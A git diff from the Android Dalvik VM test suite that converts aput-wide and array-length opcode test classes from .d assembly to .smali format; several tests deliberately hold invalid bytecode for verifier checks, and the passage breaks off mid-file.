index bf314a2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_10.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JIJ)V
-.limit regs 14
-
-       aput-wide v14, v10, v11
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.smali
new file mode 100644
index 0000000..58f46eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_10.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIJ)V
+.registers 14
+
+       aput-wide v14, v10, v11
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.d
deleted file mode 100644
index 793338f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_2.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DID)V
-.limit regs 14
-
-       aput-wide v12, v10, v11
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.smali
new file mode 100644
index 0000000..3870d44
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_2.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DID)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.d
deleted file mode 100644
index 4486392..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_3.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JDJ)V
-.limit regs 14
-
-       aput-wide v12, v9, v10
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.smali
new file mode 100644
index 0000000..c709c96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_3.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JDJ)V
+.registers 14
+
+       aput-wide v12, v9, v10
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.d
deleted file mode 100644
index 980724f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_4.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JII)V
-.limit regs 14
-
-       aput-wide v13, v11, v12
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.smali
new file mode 100644
index 0000000..5cd755f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_4.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JII)V
+.registers 14
+
+       aput-wide v13, v11, v12
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.d
deleted file mode 100644
index f4d3354..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_5.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;IJ)V
-.limit regs 14
-
-       aput-wide v12, v10, v11
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.smali
new file mode 100644
index 0000000..a19c7a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_5.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.d
deleted file mode 100644
index e5f58d2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_6.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DIJ)V
-.limit regs 14
-
-       aput-wide v12, v10, v11
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.smali
new file mode 100644
index 0000000..b6b7d24
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_6.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.d
deleted file mode 100644
index c862b0d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_7.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([IIJ)V
-.limit regs 14
-
-       aput-wide v12, v10, v11
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.smali
new file mode 100644
index 0000000..9611ead
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_7.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IIJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.d
deleted file mode 100644
index 06e1aa0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_8.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JIJ)V
-.limit regs 14
-
-       aput-wide v12, v10, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.smali
new file mode 100644
index 0000000..89ea753
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_8.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIJ)V
+.registers 14
+
+       aput-wide v12, v10, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.d
deleted file mode 100644
index 41777df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_9.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JFJ)V
-.limit regs 14
-
-       aput-wide v12, v10, v11
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.smali
new file mode 100644
index 0000000..f3fb21f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_9.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JFJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.d
deleted file mode 100644
index 3981009..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_array_length_1.java
-.class public dot.junit.opcodes.array_length.d.T_array_length_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/Object;)I
-.limit regs 5
-
-       array-length v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.smali
new file mode 100644
index 0000000..5b6b73c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_1.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/Object;)I
+.registers 5
+
+       array-length v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.d
deleted file mode 100644
index b1b015c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_array_length_2.java
-.class public dot.junit.opcodes.array_length.d.T_array_length_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)I
-.limit regs 5
-
-       array-length v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.smali
new file mode 100644
index 0000000..a3c5f25
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_2.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 5
+
+       array-length v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.d
deleted file mode 100644
index 01bdaf0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_array_length_3.java
-.class public dot.junit.opcodes.array_length.d.T_array_length_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)I
-.limit regs 5
-    
-       const v4, 1234
-       array-length v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.smali
new file mode 100644
index 0000000..16139e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_3.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 5
+    
+       const v4, 1234
+       array-length v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.d
deleted file mode 100644
index af48dfb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_array_length_4.java
-.class public dot.junit.opcodes.array_length.d.T_array_length_4
-.super java/lang/Object
